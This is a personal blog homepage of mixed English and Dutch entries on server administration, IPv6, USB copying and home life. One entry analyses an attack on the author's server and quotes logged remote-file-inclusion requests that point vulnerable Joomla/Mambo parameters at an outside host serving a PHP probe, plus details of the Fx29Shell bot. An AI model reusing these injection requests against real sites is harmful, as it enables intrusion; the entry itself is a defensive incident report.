Koos van den Hout - Homepage

I realized there is one piece of software running on my server which has a small chance of having a known leak because it is a widely used package: Serendipity powers the hcc!pc gg netwerkgroep website and I hadn't upgraded it recently. A very small chance, since security is a very important part of the Serendipity design. Since upgrading phpBB for Camp Wireless was always a royal pain in the behind I sort of postponed this process. But after the serious search for any security flaw in my website I searched on the Serendipity site for an explanation of the upgrade process. And the answer: upgrading Serendipity is very, very easy. More software should be this easy to upgrade.

Somebody in Denmark thought something in this webserver would run some default and vulnerable software and tried to find a hole:

$ grep -c 90.185.249.111 ~httpd/idefix/logs/access_log
4208

All tries to display http://www.spotmerkezi.com/cache/id1.txt which is a bit of PHP source:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

Which will display ShiroHige as one word when run through the php processor.

All urls are attempts where it is assumed some vulnerable script is behind some visible part of the site such as the root, or my homepage, or some part of my homepage. Samples:

GET //?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos//?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos//administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newsitem.cgi//?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newsitem.cgi//administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//libraries/pcl/pcltar.php?g_pcltar_lib_dir=%20http://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//templates/be2004-2/index.php?mosConfig_absolute_path=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//modules/mod_weather.php?absolute_path=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??

A bit of research finds that the next bit of code to execute would try to get info on the php setup (os, rights, free disk space). The third bit is running an entire bot with a few backdoors. I tried to find where the backdoor would connect to but that is all dynamic, only when the third script is loaded via the vulnerability a number of variables are set with the IP and port to connect to.

Like any good bot, it also notifies its maker in a hidden away part of its source, which would look like:

To: feelcomz@gmail.com
Subject: Fx29Shell http://server.name/vulnerable.url by 10.2.1.1

Boss, there was an injected target on http://server.name/vulnerable.url by 10.2.1.1

Searching on the term Fx29Shell gives a scary answer: Results 1 - 10 of about 221,000 for Fx29Shell. a lot of those still showing webservers where this script is active.

But all my home-made webstuff is not in the habit of executing remote php scripts. But given the load of sites hosted on 90.185.249.111 it's probably a script running on that server which got hacked from a third place.

I'm building a new box at work and I waited a bit with ratelimiting ssh connections (ssh is already configured to only allow valid accounts with pre-established keys). The result of one night..:

# egrep -c 'sshd.*(Invalid user|not allowed)' auth.log 
2179

I played with temporary IPv6 addresses recently, the privacy extension where the right half of the address isn't always the same address derived from the ethernet mac address but a random address. I noticed when I set Linux to use the temporary address as preferred address it was listed as 'secondary':

# ip -6 addr ls
1: lo:  mtu 16436 
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
22: wlan0:  mtu 1500 qlen 1000
    inet6 2001:888:1011:1:10f3:2799:3587:237e/64 scope global secondary dynamic 
       valid_lft 604544sec preferred_lft 85544sec
    inet6 2001:888:1011:1:21f:e1ff:fe45:2894/64 scope global dynamic 
       valid_lft 2591744sec preferred_lft 604544sec
    inet6 fe80::21f:e1ff:fe45:2894/64 scope link 
       valid_lft forever preferred_lft forever

I thought maybe I can use this to fix my outgoing IPv6 address selection problem. Searching for clues how to change the status of an IPv6 address using the ip command I found: IPv6 Source Address Selection on Linux which answers my question completely, and now I can 'block' the tunnel address completely for outgoing connections:

# ip -6 addr ls dev xs4allipv6
7: xs4allipv6@NONE:  mtu 1480 
    inet6 2001:888:1011::13/128 scope global 
       valid_lft forever preferred_lft forever
    inet6 2001:888:10:11::2/64 scope global deprecated 
       valid_lft forever preferred_lft forever
    inet6 fe80::a2a:1401/64 scope link 
       valid_lft forever preferred_lft forever
    inet6 fe80::525f:c4ca/64 scope link 
       valid_lft forever preferred_lft forever
    inet6 fe80::a2a:201/64 scope link 
       valid_lft forever preferred_lft forever

The tunnel address is 'deprecated' so it will not be used for outgoing connections but the system still responds to it so routing works. Now the wanted address is chosen when I connect to a system 'nearby' in IPv6 address terms:

tcp6       0      0 2001:888:1011::13:41041 2001:888:0:311:194::119 ESTABLISHED

Zojuist mail binnen: ik heb een nominatie voor de IPv6 awards in de categorie particulieren. De andere genomineerde in deze categorie is Jasper Wonnink van Fix6 die volgens mij minstens even veel kans maakt. Dus ik ben benieuwd.

De nominaties:

Bedrijfsleven	NetMatch, Watchmouse
Overheid & not-for-profit	Stichting DOK, Nederlandse Publieke omroep, Ministerie van Algemene zaken
Onderwijs	Hogeschool Utrecht, Universiteit van Amsterdam
Publicatie	Benjamin Margarita, Arnout Veenman, Marcel van de Kraats
Particulieren	Jasper Wonnink, Koos van den Hout
Internet Service Providers	BIT, Signet, Shock Media, Prolocation

IPv6 awards nominaties op de IPv6 taskforce website
Persaandacht:

• Nominaties van IPv6 Awards bekendgemaakt - Computable

Vanmorgen weer een compleet overbodige fietsers afstappen gezien. Wanneer komt er eens een bordje automobilisten uitstappen en duwen. Bijvoorbeeld op de A2N2 bij Eindhoven.

Power failure this morning at work.. which left us not in the dark (enough emergency lighting) but with a completely silent serverroom. When the power came back we had some hours of work to get everything up and running again. Worst problem was with a number of Xen based virtualhosts, some centos upgrade had suddenly created a network device virbr0 which uses NAT and a local dhcp pool and enslaved all xen domU network interfaces under that bridge with no access to the 'real' network because NAT was not set up so their NFS root mount failed. The details on virbr0:

virbr0    Link encap:Ethernet  HWaddr FE:FF:FF:FF:FF:FF
          inet addr:192.168.122.1  Bcast:192.168.122.255

A bit hard to disable, but at the end ifconfig virbr0 down ; brctl delbr virbr0 helps to get rid of the weird bridge, and all domUs will start after that.

Sheldon explains the cloud.

Mijn website heeft meer bezoekers dan die van de Telegraaf via IPv6.
Kijk maar op de 6bone Webserver List. Ontdekt door Henk van de Kamer die ook de telegraaf heeft verslagen.

Na de verhuizing van HCC!net mail (met diverse mailtjes aangekondigd) blijf ik nu zien uit fetchmail:

fetchmail: Server CommonName mismatch: localhost.localdomain != pop.hccnet.nl
fetchmail: Server certificate verification error: self signed certificate

En daar is geen uitleg over in de Veel gestelde vragen over HCC!net mail. Workaround: sslproto ssl23 in de regel voor pop.hccnet.nl zodat er geen TLS gebruikt wordt (ontleend aan How can I tell fetchmail not to use TLS if the server advertises it? Why does fetchmail use SSL even though not configured? - The Fetchmail FAQ). Beter zou natuurlijk zijn als pop.hccnet.nl gewoon een echt certificaat zou hebben.
Opmerkelijk is trouwens de sterk ontbrekende optie om HCC!net support te bereiken via e-mail op de contact pagina. Ik ga geen 60 cent per minuut betalen om ze uit te leggen dat ze het stuk gemaakt hebben.

Twee van mijn favoriete onderwerpen gecombineerd:

$ host www.ligfiets.net
www.ligfiets.net has address 82.94.245.48
www.ligfiets.net has IPv6 address 2001:888:2156::3:1:1

Nu dus ook via ipv6: www.ligfiets.net.

Going old-school today: I wrote a sed script to massage grub.conf to add a windows partition on a second disk. Searching google for has this been done before yields loads of page with handholding on how to add windows by hand to a grub.conf generated by anaconda but no simple 'automated' solution. I am always in favor of letting the computer do the boring work. But a bit of thinking and testing and now sed does the job:

if [ -b /dev/sdb1 ]; then

        cp /boot/grub/grub.conf /boot/grub/grub.conf.pre

        sed -e 's/timeout=5/timeout=30/' -e '/hiddenmenu/a\
title Windows XP (Service Pack 3)\
        rootnoverify (hd1,0)\
        map (hd0) (hd1)\
        map (hd1) (hd0)\
        makeactive\
        chainloader (hd1,0)+1
' -e '/hiddenmenu/d' < /boot/grub/grub.conf.pre > /boot/grub/grub.conf
fi

Everybody knows sed -e 's/../../' but I had to look up 'insert', 'append' and 'delete'.
Update 2009-11-12: Changed insert to append because the previous version inserted windows multiple times with multiple linux kernels. Once is enough. Also moved it from the post-install instructions to the post-reboot script so linux is fully configured before windows gets booted.

Maybe related to the constructionwork at home or to problems with the DSL network to my provider but 29 October was a day of intermittant DSL problems. And indeed, the resulting line quality graph looks 'interesting'.

Something up with sshd? Suddenly I see log entries (formatted for readability) like:

Nov  7 11:14:25 greenblatt sshd[5670]: Bad protocol version identification 'yJ
\316F\306J\226{B\247pvO\030B\330\332\352\257\337:\346\272h^\221\310\215\256C-
\253K\264l\265\320)\022\342\376\221\001?5\343\324\254\304\270\264FB\244#&tX
\3413\332m\352=\327\266\216\333\baZ<\006\267\243\236\214\217@:\021\273/vx\211
\313\362' from 220.225.222.226

I dislike seeing stuff like this.

I'm playing a bit with NDPMon - IPv6 Neighbor Discovery Protocol Monitor, now at version 1.4.0. Sofar, after configuring it in the right configuration file it likes one part of the home network (the wired part). I'm looking at it both from the viewpoint of playing with IPv6 and from the viewpoint of network security: can I use this to trace users of a network. In a large network like the one at work I could imagine ndpmon doing for IPv6 what arpwatch does for IPv4. Combine that with logs from the switches for tracing ethernet addresses and I see possibilities for a big, usable and at the same time manageable and secure network.

All the talk about gopher from the article The Web may have won, but Gopher tunnels on made me try whether I can run a gopher server which is reachable via ipv6. The answer is: yes I can.

gopher://gopher.idefix.net/ reachable via both IPv4 and IPv6.

Update 2009-11-05: and I'm not the first one to think of this. gopher://✎.net/ adds the fun of a punycode url.

Bedrijven niet voorbereid op uitputting webadressen. Alleen al door de term 'webadressen' heb je door dat de auteur wat details gemist heeft, maar we houden het er op dat het IPv6 in het nieuws weet te houden. De quote die ik er even uit wil halen:

Bovendien zijn niet alle bedrijven en organisaties op de hoogte van de noodzaak over te stappen op de nieuwe IP-versie.

Bedrijven roepen zelfs actief dat ze er prima uitkomen met NAT. En het helpt ook niet als Gartner roept dat 'we' ons nog geen zorgen hoeven te maken over IPv6: Gartner: Don't sweat move to IPv6 (heeft iemand toegang tot het originele rapport?). Veel mensen die beslissingen hierover nemen zullen Gartner graag als bron geloven.

CBC Canada has a great special: Berlin Wall: 20 years after the fall. I am glad we visited Berlin this summer and saw all the historic places from up close.

Mijn werkgever, het departement informatica van de Universiteit Utrecht, biedt ook een opleiding tot leraar informatica aan. Totnogtoe hebben ze daar nog niet zo veel reclame voor gemaakt, maar daar komt nu verandering in.

Beetje verstoring in de onweers sensor thuis, er was helemaal geen onweer volgens andere bronnen. Vermoedelijk een gevolg van de sloopwerkzaamheden van maandag.

Met de verbouwing en het boven wonen zaten we ook even na te denken over televisie: het aansluitpunt moet verplaatst worden en we hebben (nog) geen coax van beneden naar boven. Digitenne zou misschien een optie zijn voor tijdelijk maar die doen niet aan abonnementen van minder dan een jaar, terwijl de planning toch echt is dat we dit jaar nog weer normaal wonen en dan weer makkelijk bij de Ziggo kabeltv kunnen waar wel BBC 1 en BBC 2 bij zitten. Dus dan maar een lange verlengkabel (ik heb gelukkig een goede kabel in huis) door het hele trappenhuis voor als we televisie willen kijken en uitleggen dat je NIET op coax kabel mag staan.

I'm happy with my B+M ixon iq light on my recumbent bicycle but some people need more light, for example when cycling through the woods in Finland: Jukan put together a 24-watt 1680 lumen led light monster.
Found via Unreasonably bright bike light apparently hunts deer - Hack a Day (although the deer that seems to be in the resized picture is some bushes in the original picture).

The construction work at home shows a lot of progress at the moment. Tuesday morning work started and now half the back face of the house is already removed. Pictures of the progress with Dutch comments.

De verbouwing is begonnen: vanmorgen ging ik weg toen er gegraven werd voor de vloer van de uitbouw en toen ik terugkwam was de vloer gestort. Ik maak foto's van de voortgang

I noticed requests for port 37/udp in our firewall to our ntp server. That is the 'daytime' protocol which is absolutely ancient in an Internet timescale. I opened the port and started the service as an experiment and started tcpdump on it. The results are interesting:

09:50:09.749723 IP xx.xx.178.51.37 > 131.211.84.189.123: NTPv4 client, strat 2, poll 7, prec -20
09:50:09.749782 IP 131.211.84.189.123 > xx.xx.178.51.37: NTPv4 server, strat 2, poll 7, prec -19
09:52:19.808243 IP xx.xx.178.51.37 > 131.211.84.189.123: NTPv4 client, strat 3, poll 7, prec -20
09:52:19.808301 IP 131.211.84.189.123 > xx.xx.178.51.37: NTPv4 server, strat 2, poll 7, prec -19
09:53:08.511939 IP xx.xxx.183.183.34505 > 131.211.84.189.37: UDP, length: 0
09:53:08.513364 IP 131.211.84.189.37 > xx.xxx.183.183.34505: UDP, length: 4

Most traffic seen by 'tcpdump port 37' is from source port 37. Which is an artifact of certain NAT devices translating privileged ports (< 1024) to other privileged ports. Certain versions ntpd seem to ignore these requests. But there are real clients using the 'daytime' protocol.

In een discussie over 'durf je nu echt AAAA records te publiceren' vroeg ik me af of er een goeie, klantvriendelijke ipv6 test is voor websites met behulp van javascript. Natuurlijk is die er: http://ipv6test.max.nl/. Die heb ik dus snel geimplementeerd op 2 websites op het werk die nog geen ipv6 verbinding hebben maar waar we dat wel snel hopen: www.cs.uu.nl en helpdesk.cs.uu.nl. Hier komen 'onze' gebruikers langs dus is het erg interresant om te weten of in deze gebruikersgroep er een aandeel is wat problemen gaat krijgen als we AAAA records publiceren.

I brought some more USB sticks to test with and tested the filler script with 4 sticks. Interesting new problem: some USB sticks are partitioned like a harddisk and some aren't, now to find what to mount. Trying to mount everything gives a lot of kernel error messages. Using vol_id was the way to find the valid filesystems. The writing speed is still at maximum when I write 4 in parallel and no USB errors happen.

Some measurable growth in IPv6 traffic at the Amsterdam Internet Exchange: they broke the 2 Gbit IPv6 traffic (after rrdtool rounding ;)) limit. Compared to the total traffic flow (764 Gbit) this is still a very small drop but there is growth in there. On to more and more applications, dns entries and traffic! Source: AMS-IX hits 2 Gbps IPv6 traffic - Fix6

One mailing list hoster, ivillage.com, is still sending me loads of the unwanted mailing list spam and making it quite hard to get rid of it. They have 49 mailing lists, the retaliating spammer signed me up to about 41 of them, and to get rid of them I have to uncheck every one of them to unsubscribe. The 'support' link on the site let me fill in a form which got an autoreply pointing me to the unsubscribe form on the site. So more attempts to get through to them that they need to verify the addresses they get via the site and to get rid of all of their mail in one go. Reporting each and every one of their mails via spamcop has not made much of a difference yet. The acceptable use policy of their provider xo.com prohibits sending mail like this:

A communication may be unsolicited if: (1) recipients' email addresses were not obtained through a personal or customer relationship between recipient and sender, (2) recipients did not affirmatively consent to receive communications from sender, or (3) recipients have opted out of receiving communications from sender when given notice of the opportunity to do so.

I never confirmed receiving their mail, so they break rule 2.

Ok, discovering 'all USB storage' is not that hard:

ALLSTICKS=`/bin/ls /dev/disk/by-path/*usb*part1 2>/dev/null`

Now for the choice whether to fill them in parallel or serially. With two sticks (the amount I have available at the moment for testing) running two rsync processes in parallel makes the whole script (discover, mount, fill with rsync, unmount) take 27 seconds, waiting for the first rsync to finish before starting the second one takes 35 seconds. Interesting will be how these numbers look when I add more USB sticks.

An interesting project at work: copying a given set of data to as big a number of USB storage devices as possible. So we buy 4 USB hubs, which got delivered today. Connecting them to the 4 different external USB ports on my laptop shows an interesting result:

 lsusb -t
Bus#  7
`-Dev#   1 Vendor 0x0000 Product 0x0000
  |-Dev#  35 Vendor 0x2001 Product 0xf103
  | `-Dev#  36 Vendor 0x0718 Product 0x0075
  |-Dev#  34 Vendor 0x2001 Product 0xf103
  |-Dev#  33 Vendor 0x2001 Product 0xf103
  `-Dev#  32 Vendor 0x2001 Product 0xf103
Bus#  6
`-Dev#   1 Vendor 0x0000 Product 0x0000
Bus#  5
`-Dev#   1 Vendor 0x0000 Product 0x0000
  `-Dev#  44 Vendor 0x0b97 Product 0x7761
    `-Dev#  45 Vendor 0x0b97 Product 0x7772
Bus#  4
`-Dev#   1 Vendor 0x0000 Product 0x0000
Bus#  3
`-Dev#   1 Vendor 0x0000 Product 0x0000
Bus#  2
`-Dev#   1 Vendor 0x0000 Product 0x0000
Bus#  1
`-Dev#   1 Vendor 0x0000 Product 0x0000
  `-Dev#  24 Vendor 0x413c Product 0x8140

Notice it? No? All the high-speed USB hubs (Vendor 0x2001 Product 0xf103) are behind the same root USB hub. Interesting USB congestion problems ahead probably.

My next step will be to discover all attached usb storage (probably thanking udev a lot in the process) and filling that storage with the wanted set of data.